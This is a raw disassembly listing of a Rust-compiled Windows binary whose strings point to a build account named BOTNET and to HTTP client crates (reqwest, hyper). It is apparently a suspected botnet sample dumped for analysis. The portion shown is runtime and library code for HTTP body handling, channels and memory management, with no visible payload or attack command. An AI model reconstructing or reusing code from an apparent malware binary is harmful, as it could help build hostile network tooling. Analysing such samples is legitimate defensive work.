mov qword [rbp + 0x658], 1
mov qword [rbp + 0x660], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x668], xmm0
lea rdx, str._rustc_d9284afea99e0969a0e692b9e9fd61ea4ba21366librarycore_src_time.rs
lea rcx, [rbp + 0x650]
call fcn.140119330
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbx
mov rdx, r14
call fcn.1401193e0
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rsi
call fcn.1401193e0
mov ecx, 7
int 0x29
ud2
mov ecx, 8
mov edx, 0x30
call fcn.140119090
mov ecx, 8
mov edx, 8
call fcn.140119090
movzx eax, byte [rbp + 0x7e0]
test eax, eax
je 0x140044e79
cmp eax, 3
jne 0x140044dfe
movzx eax, byte [rbp + 0x790]
test eax, eax
je 0x140044de6
cmp eax, 3
jne 0x140044e0a
movzx eax, byte [rbp + 0x788]
test eax, eax
je 0x140044df2
cmp eax, 3
jne 0x140044e16
mov rax, qword [rbp + 0x780]
mov rcx, qword [rax]
jmp 0x1400450ea
mov rcx, qword [rbp + 0x720]
jmp 0x14004594f
mov rcx, qword [rbp + 0x770]
jmp 0x1400450d5
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
call fcn.140119ab0
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
call fcn.140119ab0
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
call fcn.140119ab0
mov byte [rbp + 0x6a0], 1
lea rcx, [rbp + 0x658]
mov rax, qword [rcx + 0x40]
lea rdx, [rbp + 0x470]
mov qword [rdx + 0x40], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rbp + 0x380]
mov r8d, 0x138
mov rcx, r15
call fcn.140118560
mov byte [rbp + 0x7e0], 0
mov rax, qword [rbx + 0x116]
mov qword [rbp + 0x920], rax
movups xmm0, xmmword [rbx + 0xf6]
movups xmm1, xmmword [rbx + 0x106]
movaps xmmword [rbp + 0x910], xmm1
movaps xmmword [rbp + 0x900], xmm0
movups xmm6, xmmword [rbp + 0x7c0]
mov rax, qword [rbp + 0x7d0]
mov rsi, qword [rbp + 0x7d8]
mov qword [rbp + 0x6c8], rax
mov qword [rbp + 0x6d0], rsi
cmp rsi, 0x2000
mov ecx, 0x2000
cmovae rsi, rcx
test rax, rax
cmove rsi, rcx
mov qword [rbp + 0x6e8], 0
mov eax, 1
xor ecx, ecx
mov edx, 0
test rsi, rsi
je 0x140044f1d
movzx eax, byte [0x140196310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400f0c90
test rax, rax
je 0x1400450c8
mov rcx, qword [rbp + 0x6e8]
mov rdx, rsi
mov r10, rdx
shr r10, 0xa
mov r8d, 0x40
mov r9d, 0x40
je 0x140044f3a
bsr r9, r10
xor r9, 0x3f
sub r8, r9
cmp r8, 7
mov r9d, 7
cmovb r9, r8
mov r8d, r9d
lea r8, [r8*4 + 1]
mov qword [rbp + 0x6a8], rax
mov qword [rbp + 0x6b0], 0
mov qword [rbp + 0x6b8], rdx
mov qword [rbp + 0x6c0], r8
movups xmmword [rbp + 0x6d8], xmm6
mov rax, qword [rbp + 0x920]
mov qword [rdi + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x900]
movdqa xmm1, xmmword [rbp + 0x910]
movdqu xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
cmp qword [rbp + 0x6c8], 0
je 0x14004562c
cmp rcx, qword [rbp + 0x6d0]
jne 0x14004562c
xor r14d, r14d
cmp byte [rbp + 0x710], 3
je 0x140044fd0
mov rcx, rdi
call fcn.1400a2560
mov rsi, qword [rbp + 0x6d8]
mov r15, qword [rbp + 0x6e0]
mov rax, qword [r15]
test rax, rax
je 0x140044feb
mov rcx, rsi
call rax
cmp qword [r15 + 8], 0
je 0x14004500f
cmp qword [r15 + 0x10], 0x11
jb 0x140044ffd
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x6c0]
test r8b, 1
jne 0x140045052
lock dec qword [r8 + 0x20]
lea r15, [rbp + 0x6a8]
jne 0x140045085
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x140045076
mov rax, qword [r8 + 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x140045076
shr r8, 5
mov rax, qword [rbp + 0x6b8]
add rax, r8
lea r15, [rbp + 0x6a8]
je 0x140045085
mov rax, qword [rbp + 0x6a8]
sub rax, r8
mov r8, rax
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x7e0], 1
xor eax, eax
mov cl, 3
test rax, rax
je 0x14004512a
mov byte [rbp + 0x6a1], cl
cmp r12d, 0x3b9aca00
jne 0x140045d7a
call fcn.1400e7d40
movzx eax, byte [rbp + 0x6a1]
lea rcx, [0x14018a8bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, 1
mov rdx, rsi
call fcn.140119070
mov qword [rbp + 0x778], rcx
lea rax, [rbp + 0x778]
mov qword [rbp + 0x780], rax
lea rdx, [rbp + 0x870]
call fcn.140035100
test rax, rax
setne cl
add cl, cl
or cl, 1
mov byte [rbp + 0x788], cl
test rax, rax
je 0x140045155
mov byte [rbp + 0x790], 3
mov byte [rbp + 0x7e0], 3
mov eax, 1
mov cl, 3
test rax, rax
jne 0x140045099
mov rcx, r15
call fcn.1400cf460
test r14, r14
jne 0x140045a54
mov byte [rbp + 0x6a0], 0
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x6a8], rax
jmp 0x140045d3e
mov rsi, rdx
test rdx, rdx
je 0x14004517e
mov rax, qword [rbp + 0x750]
mov rdx, qword [rbp + 0x758]
mov r8, qword [rbp + 0x760]
lea rcx, [rbp + 0x768]
jmp 0x140045257
mov r15, qword [rbp + 0x748]
lea rsi, [rbp + 0x750]
movdqu xmm0, xmmword [rsi]
movdqu xmm1, xmmword [rsi + 0x10]
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmmword [rbp + 0x380], xmm0
movzx eax, byte [r15 + 0x20]
mov r13b, 1
cmp al, 2
jne 0x1400452ae
movdqu xmm0, xmmword [rsi]
movdqu xmm1, xmmword [rsi + 0x10]
movdqa xmmword [rbp + 0x810], xmm1
movdqa xmmword [rbp + 0x800], xmm0
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmmword [rbp + 0x380], xmm0
mov byte [rbp + 0x3a0], r13b
mov eax, dword [rbp + 0x840]
mov ecx, dword [rbp + 0x843]
lea rdx, [rbp + 0x470]
mov dword [rdx - 0xcc], ecx
mov dword [rdx - 0xcf], eax
movzx eax, byte [0x140196310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140045bf0
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 5
mov rax, qword [rbp + 0x380]
test rax, rax
je 0x140045356
mov rdx, qword [rbp + 0x388]
mov r8, qword [rbp + 0x390]
lea rcx, [rbp + 0x398]
call qword [rax + 0x10]
mov byte [rbp + 0x790], 1
movzx eax, byte [0x140196310]
mov edx, 8
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044d94
mov r15, rax
mov qword [rax], rsi
movzx eax, byte [0x140196310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400f0c90
mov r14, rax
lea rax, fcn.1400a70c0
test r14, r14
jne 0x140045878
jmp 0x140045d2f
test al, al
je 0x140045439
mov rsi, qword [r15 + 0x18]
lea rdx, [rsi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x10], cl
jne 0x140045ae2
mov rax, qword [0x140196308]
shl rax, 1
xor r14d, r14d
test rax, rax
jne 0x140045af5
movzx eax, byte [rsi + 0x11]
test al, al
jne 0x140045b13
cmp byte [rsi + 0x28], 0
je 0x14004540b
mov rax, qword [rsi + 0x18]
test rax, rax
je 0x14004530f
mov rcx, qword [rsi + 0x20]
mov r15, rdx
call qword [rax + 0x18]
mov rdx, r15
mov qword [rsi + 0x18], 0
test r14b, r14b
jne 0x14004532f
mov rax, qword [0x140196308]
shl rax, 1
test rax, rax
jne 0x140045b89
xor eax, eax
xchg byte [rdx], al
xor r13d, r13d
lea rsi, [rbp + 0x380]
cmp al, 2
jne 0x1400451b5
mov rcx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor r13d, r13d
jmp 0x1400451b5
mov r14, qword [rbp + 0x388]
mov r15, qword [r14]
test r15, r15
je 0x14004539b
mov r13, qword [r14 + 8]
mov rax, qword [r13]
test rax, rax
je 0x140045377
mov rcx, r15
call rax
cmp qword [r13 + 8], 0
je 0x14004539b
cmp qword [r13 + 0x10], 0x11
jb 0x140045389
mov r15, qword [r15 - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [r14 + 0x29], 2
je 0x1400453f4
mov r15, qword [r14 + 0x10]
test r15, r15
je 0x1400453e1
mov r13, qword [r14 + 0x18]
mov rax, qword [r13]
test rax, rax
je 0x1400453bd
mov rcx, r15
call rax
cmp qword [r13 + 8], 0
je 0x1400453e1
cmp qword [r13 + 0x10], 0x11
jb 0x1400453cf
mov r15, qword [r15 - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r14 + 0x20]
lock dec qword [rax]
jne 0x1400453f4
mov rcx, qword [r14 + 0x20]
call fcn.140086300
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004525a
mov byte [r15 + 0x20], 0
test r14b, r14b
jne 0x140045428
mov rax, qword [0x140196308]
shl rax, 1
test rax, rax
jne 0x140045ba5
xor eax, eax
xchg byte [rdx], al
cmp al, 2
jne 0x140045439
mov rcx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rcx, qword [r15 + 0x10]
mov rax, qword [rcx + 0x38]
movabs rdx, 0x7fffffffffffffff
lea rsi, [rbp + 0x380]
movabs r10, 0x8000000000000000
nop dword [rax]
test rax, rax
jns 0x1400451b5
mov r8, rax
and r8, rdx
cmp r8, rdx
je 0x140045bd8
lea r9, [rax + 1]
or r9, r10
lock cmpxchg qword [rcx + 0x38], r9
jne 0x140045460
mov rsi, qword [r15 + 0x10]
cmp r8, qword [rsi + 0x30]
jb 0x140045569
mov r13, qword [r15 + 0x18]
lea rsi, [r13 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r13 + 0x10], cl
jne 0x140045b4c
mov rax, qword [0x140196308]
shl rax, 1
xor r14d, r14d
test rax, rax
jne 0x140045b59
movzx eax, byte [r13 + 0x11]
test al, al
jne 0x140045b72
mov rax, qword [r13 + 0x18]
test rax, rax
je 0x1400454e0
mov rcx, qword [r13 + 0x20]
call qword [rax + 0x18]
mov qword [r13 + 0x18], 0
mov byte [r13 + 0x28], 1
test r14b, r14b
jne 0x140045505
mov rax, qword [0x140196308]
shl rax, 1
test rax, rax
jne 0x140045bc1
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140045516
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rsi, qword [r15 + 0x18]
lock inc qword [rsi]
jle case.0x140045dfa.2
mov r14, qword [r15 + 0x10]
movzx eax, byte [0x140196310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140045d20
mov qword [rax], 0
mov qword [rax + 8], rsi
mov rcx, rax
xchg qword [r14 + 0x20], rcx
mov qword [rcx], rax
mov rax, qword [r14 + 0x38]
shr rax, 0x3f
mov byte [r15 + 0x20], al
mov rsi, qword [r15 + 0x10]
movzx eax, byte [0x140196310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044d85
mov qword [rax], 1
movdqa xmm0, xmmword [rbp + 0x380]
movdqa xmm1, xmmword [rbp + 0x390]
movdqu xmmword [rax + 8], xmm0
movdqu xmmword [rax + 0x18], xmm1
mov qword [rax + 0x28], 0
mov rcx, rax
xchg qword [rsi + 0x10], rcx
mov qword [rcx + 0x28], rax
mov rax, qword [rsi + 0x58]
lea r15, [rbp + 0x6a8]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x1400455d0
test rax, rax
jne 0x140045602
mov rax, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x140045602
call qword [rax + 8]
mov byte [rbp + 0x790], 1
mov rcx, qword [rbp + 0x6e8]
add rcx, qword [rbp + 0x718]
mov qword [rbp + 0x6e8], rcx
cmp qword [rbp + 0x6c8], 0
jne 0x140044faf
mov r8, qword [rbp + 0x6b0]
test r8, r8
je 0x140045686
mov qword [rbp + 0x718], r8
cmp byte [rbp + 0x710], 3
je 0x1400459cb
lea rcx, [rbp + 0x840]
mov rdx, r15
call fcn.140008540
mov rsi, qword [rbp + 0x858]
test sil, 1
jne 0x1400458a6
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x848]
lea rcx, [0x140161d80]
jmp 0x140045922
mov r8, qword [rbp + 0x6b8]
xor edx, edx
test r8, r8
jne 0x1400456af
mov edx, 0x40
mov rcx, r15
call fcn.1400086e0
mov rdx, qword [rbp + 0x6b0]
mov r8, qword [rbp + 0x6b8]
sub r8, rdx
add rdx, qword [rbp + 0x6a8]
mov rcx, qword [rbp + 0x6d8]
mov rax, qword [rbp + 0x6e0]
call qword [rax + 0x18]
test rax, rax
je 0x140045989
mov qword [rbp + 0x8d8], rdx
movzx r13d, byte [rbp + 0x710]
mov byte [rbp + 0x710], 3
cmp r13b, 3
je 0x140045c87
mov r14, qword [rbp + 0x6f0]
mov rsi, qword [rbp + 0x6f8]
mov r15, qword [rbp + 0x700]
mov rax, qword [rbp + 0x708]
mov qword [rbp + 0x830], rax
movzx eax, byte [0x140196310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140045bf0
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x101
mov rcx, r15
mov edx, r13d
mov r8, rax
call fcn.1400352c0
lock dec qword [rsi]
jne 0x14004575f
mov rcx, rsi
call fcn.14003ea70
cmp r13b, 2
je 0x1400457e9
lock dec qword [r15 + 0x40]
jne 0x1400457c2
mov rax, qword [r15 + 0x38]
test rax, rax
jns 0x140045788
movabs rax, 0x7fffffffffffffff
lock and qword [r15 + 0x38], rax
mov rax, qword [r15 + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r15 + 0x58], rcx
jne 0x140045790
test rax, rax
jne 0x1400457c2
mov rax, qword [r15 + 0x48]
mov rcx, qword [r15 + 0x50]
mov qword [r15 + 0x48], 0
lock and qword [r15 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400457c2
call qword [rax + 8]
lock dec qword [r15]
jne 0x1400457d0
mov rcx, r15
call fcn.14002e890
mov rax, qword [rbp + 0x830]
lock dec qword [rax]
jne 0x1400457e9
mov rcx, qword [rbp + 0x830]
call fcn.14003ea70
test r14, r14
je 0x140045829
mov sil, 1
mov al, 1
xchg byte [r14 + 0xa8], al
mov al, 1
xchg byte [r14 + 0x88], al
test al, al
je 0x1400459e3
xchg byte [r14 + 0xa0], sil
test sil, sil
je 0x140045a1b
lock dec qword [r14]
jne 0x140045829
mov rcx, r14
call fcn.14002dec0
movzx eax, byte [0x140196310]
mov edx, 8
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044d94
mov r15, rax
mov rax, qword [rbp + 0x8d8]
mov qword [r15], rax
movzx eax, byte [0x140196310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400f0c90
mov r14, rax
lea rax, [0x140153588]
test r14, r14
je 0x140045d2f
movabs rcx, 0x8000000000000000
mov qword [r14], rcx
mov qword [r14 + 0x58], r15
mov qword [r14 + 0x60], rax
mov word [r14 + 0x68], 4
cmp byte [rbp + 0x710], 3
je 0x140044fd0
jmp 0x140044fc8
shr rsi, 5
mov rax, qword [rbp + 0x840]
sub rax, rsi
mov rcx, qword [rbp + 0x848]
add rcx, rsi
mov rdx, qword [rbp + 0x850]
add rdx, rsi
mov qword [rbp + 0x520], rdx
mov qword [rbp + 0x528], rax
mov qword [rbp + 0x530], rcx
lea rcx, [rbp + 0x890]
lea rdx, [rbp + 0x520]
call fcn.140008010
mov qword [rbp + 0x4d8], rsi
mov rcx, qword [rbp + 0x8a0]
mov rax, rcx
sub rax, rsi
jb 0x140045bff
add rsi, qword [rbp + 0x898]
mov rcx, qword [rbp + 0x890]
mov rdx, rsi
mov rsi, qword [rbp + 0x8a8]
mov qword [rbp + 0x720], rdi
mov qword [rbp + 0x728], rcx
mov qword [rbp + 0x730], rdx
mov qword [rbp + 0x738], rax
mov qword [rbp + 0x740], rsi
mov byte [rbp + 0x790], 0
mov rcx, rdi
mov qword [rbp + 0x748], rcx
movdqu xmm0, xmmword [rbx + 0x86]
movdqu xmm1, xmmword [rbx + 0x96]
lea rax, [rbp + 0x750]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rbp + 0x770], rcx
mov byte [rbp + 0x788], 0
jmp 0x1400450d5
test rdx, rdx
je 0x140044fbc
mov r8, qword [rbp + 0x6b0]
add r8, rdx
mov qword [rbp + 0x890], r8
cmp r8, qword [rbp + 0x6b8]
ja 0x140045c9f
mov qword [rbp + 0x6b0], r8
mov qword [rbp + 0x718], r8
cmp byte [rbp + 0x710], 3
jne 0x14004564c
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
mov edx, 0x16
call fcn.140119880
mov rax, qword [r14 + 0x78]
mov rcx, qword [r14 + 0x80]
mov qword [r14 + 0x78], 0
test rax, rax
je 0x140045ac4
xor edx, edx
xchg byte [r14 + 0x88], dl
call qword [rax + 8]
xchg byte [r14 + 0xa0], sil
test sil, sil
jne 0x14004581b
mov rax, qword [r14 + 0x90]
mov rcx, qword [r14 + 0x98]
mov qword [r14 + 0x90], 0
test rax, rax
je 0x140045a3c
call qword [rax + 0x18]
xor eax, eax
xchg byte [r14 + 0xa0], al
lock dec qword [r14]
je 0x140045821
jmp 0x140045829
mov rcx, qword [rbp + 0x650]
test rcx, rcx
mov rdi, qword [rbp + 0x938]
mov rbx, qword [rbp + 0x8d0]
je 0x140045ab2
mov rax, qword [rcx + 0x30]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140045a72
and eax, 0xa
cmp eax, 8
jne 0x140045a94
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x650]
test rax, rax
je 0x140045ab2
lock dec qword [rax]
jne 0x140045ab2
mov rcx, qword [rbp + 0x650]
call fcn.140082160
mov byte [rbp + 0x6a1], 1
mov r13d, 4
jmp 0x140046033
xor eax, eax
xchg byte [r14 + 0x88], al
xchg byte [r14 + 0xa0], sil
test sil, sil
jne 0x14004581b
jmp 0x140045a1b
mov rcx, rdx
mov r14, rdx
call fcn.140123180
mov rdx, r14
jmp 0x1400452cd
mov r14, rdx
call fcn.140123240
mov rdx, r14
mov r14d, eax
xor r14b, 1
movzx eax, byte [rsi + 0x11]
test al, al
je 0x1400452ef
mov qword [rbp + 0x890], rdx
mov byte [rbp + 0x898], r14b
lea rax, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140152cf8]
lea r8, [rbp + 0x890]
mov edx, 0x2b
call fcn.140119760
mov rcx, rsi
call fcn.140123180
jmp 0x1400454ad
call fcn.140123240
mov r14d, eax
xor r14b, 1
movzx eax, byte [r13 + 0x11]
test al, al
je 0x1400454d0
mov qword [rbp + 0x890], rsi
mov byte [rbp + 0x898], r14b
lea rax, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
jmp 0x140045b28
mov r14, rdx
call fcn.140123240
mov rdx, r14
test al, al
jne 0x14004532f
mov byte [rsi + 0x11], 1
jmp 0x14004532f
mov r14, rdx
call fcn.140123240
mov rdx, r14
test al, al
jne 0x140045428
mov byte [rsi + 0x11], 1
jmp 0x140045428
call fcn.140123240
test al, al
jne 0x140045505
mov byte [r13 + 0x11], 1
jmp 0x140045505
lea rcx, str.buffer_space_exhausted__sending_this_messages_would_overflow_the_state
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov edx, 0x46
call fcn.14011f6e0
mov ecx, 8
mov edx, 0x38
call fcn.140119090
mov qword [rbp + 0x4d0], rcx
lea rax, [rbp + 0x4d8]
mov qword [rbp + 0x800], rax
lea rax, [0x140031570]
mov qword [rbp + 0x808], rax
lea rcx, [rbp + 0x4d0]
mov qword [rbp + 0x810], rcx
mov qword [rbp + 0x818], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], 2
mov qword [rbp + 0x3a0], 0
lea rax, [rbp + 0x800]
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], 2
lea rdx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rs
lea rcx, [rbp + 0x380]
call fcn.140119330
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
mov edx, 0x16
call fcn.140119880
lea rax, [rbp + 0x890]
mov qword [rbp + 0x800], rax
lea rax, [fcn.140008a30]
mov qword [rbp + 0x808], rax
lea rcx, [rbp + 0x6b8]
mov qword [rbp + 0x810], rcx
mov qword [rbp + 0x818], rax
lea rax, str.new_len____capacity_
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], 2
mov qword [rbp + 0x3a0], 0
lea rax, [rbp + 0x800]
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], 2
lea rdx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rbp + 0x380]
call fcn.140119330
mov ecx, 8
mov edx, 0x10
call fcn.140119090
mov ecx, 8
mov edx, 0x70
call fcn.140119090
lea rcx, [rbp + 0x380]
lea r8, [rbp + 0x870]
mov rdx, r15
call fcn.140086650
mov r13, qword [rbp + 0x380]
cmp r13, 5
jne 0x140045e08
mov cl, 4
mov byte [rbp + 0x6a1], cl
cmp r12d, 0x3b9aca00
je 0x1400450ac
call fcn.1400f0ae0
mov r8d, edx
xor ecx, ecx
mov r9, qword [rbp + 0x930]
cmp rax, r9
setne cl
mov edx, 0xff
cmovae edx, ecx
xor esi, esi
cmp r8d, r12d
mov ecx, 0
sbb ecx, ecx
test dl, dl
cmovne ecx, edx
cmp cl, 2
jb case.default.0x140045dfa
mov qword [rbp + 0x380], r9
mov dword [rbp + 0x388], r12d
lea rcx, [rbp + 0x380]
mov rdx, rax
call fcn.1400e6c50
cmp edx, 0x3b9aca00
cmove edx, esi
cmovne rsi, rax
mov rcx, rsi
call fcn.1400e7eb0
movzx eax, byte [rbp + 0x6a1]
lea rcx, [0x14018a8bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, str.C:UsersBOTNET.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rs
call fcn.140119ab0
mov r14, qword [rbp + 0x388]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x580]
mov r8d, 0x88
call fcn.140118560
mov rcx, qword [rbp + 0x6a8]
test rcx, rcx
mov rdi, qword [rbp + 0x938]
mov rbx, qword [rbp + 0x8d0]
je 0x140045e90
mov rax, qword [rcx + 0x30]
nop word cs:[rax + rax]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140045e50
and eax, 0xa
cmp eax, 8
jne 0x140045e72
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x6a8]
test rax, rax
je 0x140045e90
lock dec qword [rax]
jne 0x140045e90
mov rcx, qword [rbp + 0x6a8]
call fcn.140082160
cmp r13d, 4
je 0x140046299
lea rcx, [rbp + 0x380]
lea rdx, [rbp + 0x580]
mov r8d, 0x88
call fcn.140118560
mov byte [rbp + 0x6a1], 1
jmp 0x140046033
movzx eax, byte [rbp + 0x6a1]
mov r13d, 4
test eax, eax
je 0x140045f83
cmp eax, 3
mov rbx, qword [rbp + 0x8d0]
je 0x140045f42
cmp eax, 4
mov rdi, qword [rbp + 0x938]
jne 0x140046030
mov rcx, qword [rbp + 0x6a8]
test rcx, rcx
je 0x140045f51
mov rax, qword [rcx + 0x30]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140045f00
and eax, 0xa
cmp eax, 8
jne 0x140045f22
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x6a8]
test rax, rax
je 0x140045f51
lock dec qword [rax]
jne 0x140045f51
mov rcx, qword [rbp + 0x6a8]
call fcn.140082160
jmp 0x140045f51
mov rcx, r15
call fcn.1400cf460
mov rdi, qword [rbp + 0x938]
cmp byte [rbp + 0x6a0], 0
je 0x140046030
mov rcx, qword [rbp + 0x650]
test rcx, rcx
je 0x140046030
mov rax, qword [rcx + 0x30]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140045f72
jmp 0x140045fff
mov rsi, qword [rbp + 0x680]
mov rdi, qword [rbp + 0x688]
mov rax, qword [rdi]
test rax, rax
mov rbx, qword [rbp + 0x8d0]
je 0x140045fa5
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x140045fc9
cmp qword [rdi + 0x10], 0x11
jb 0x140045fb7
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x658]
call fcn.1400a2560
mov rcx, qword [rbp + 0x650]
test rcx, rcx
je 0x140046288
mov rax, qword [rcx + 0x30]
mov rdi, qword [rbp + 0x938]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140045ff0
and eax, 0xa
cmp eax, 8
jne 0x140046012
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x650]
test rax, rax
je 0x140046030
lock dec qword [rax]
jne 0x140046030
mov rcx, qword [rbp + 0x650]
call fcn.140082160
xor r14d, r14d
mov rax, qword [rbp + 0x538]
mov rcx, qword [rbp + 0x540]
call qword [rax + 0x18]
cmp r13d, 3
je 0x140046059
cmp r13d, 4
jne 0x1400460ab
test r14, r14
je 0x140046129
movzx eax, byte [rbp + 0x620]
mov byte [rbp + 0x660], al
movaps xmm0, xmmword [rbp + 0x610]
movaps xmmword [rbp + 0x650], xmm0
mov rax, qword [r14]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004618a
test rax, rax
je 0x14004618a
mov r8, qword [r14 + 8]
mov rcx, qword [0x140196260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004618a
lock inc qword [rbx]
jle case.0x140045dfa.2
mov rsi, qword [rbp + 0x640]
mov qword [rsi], r13
mov qword [rsi + 8], r14
lea rcx, [rsi + 0x10]
lea rdx, [rbp + 0x380]
mov r8d, 0x88
call fcn.140118560
mov rax, qword [rbp + 0x628]
mov qword [rsi + 0x98], rax
mov eax, dword [rbp + 0x8e0]
mov dword [rsi + 0xa0], eax
mov qword [rsi + 0xa8], 0
mov qword [rsi + 0xb8], rbx
test rdi, rdi
je 0x14004624d
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, qword [rbp + 0x648]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004624d
movzx eax, byte [0x140196310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140045d2f
mov r14, rax
movabs rax, 0x8000000000000000
mov qword [r14], rax
mov qword [r14 + 0x58], 1
lea rax, [0x140153420]
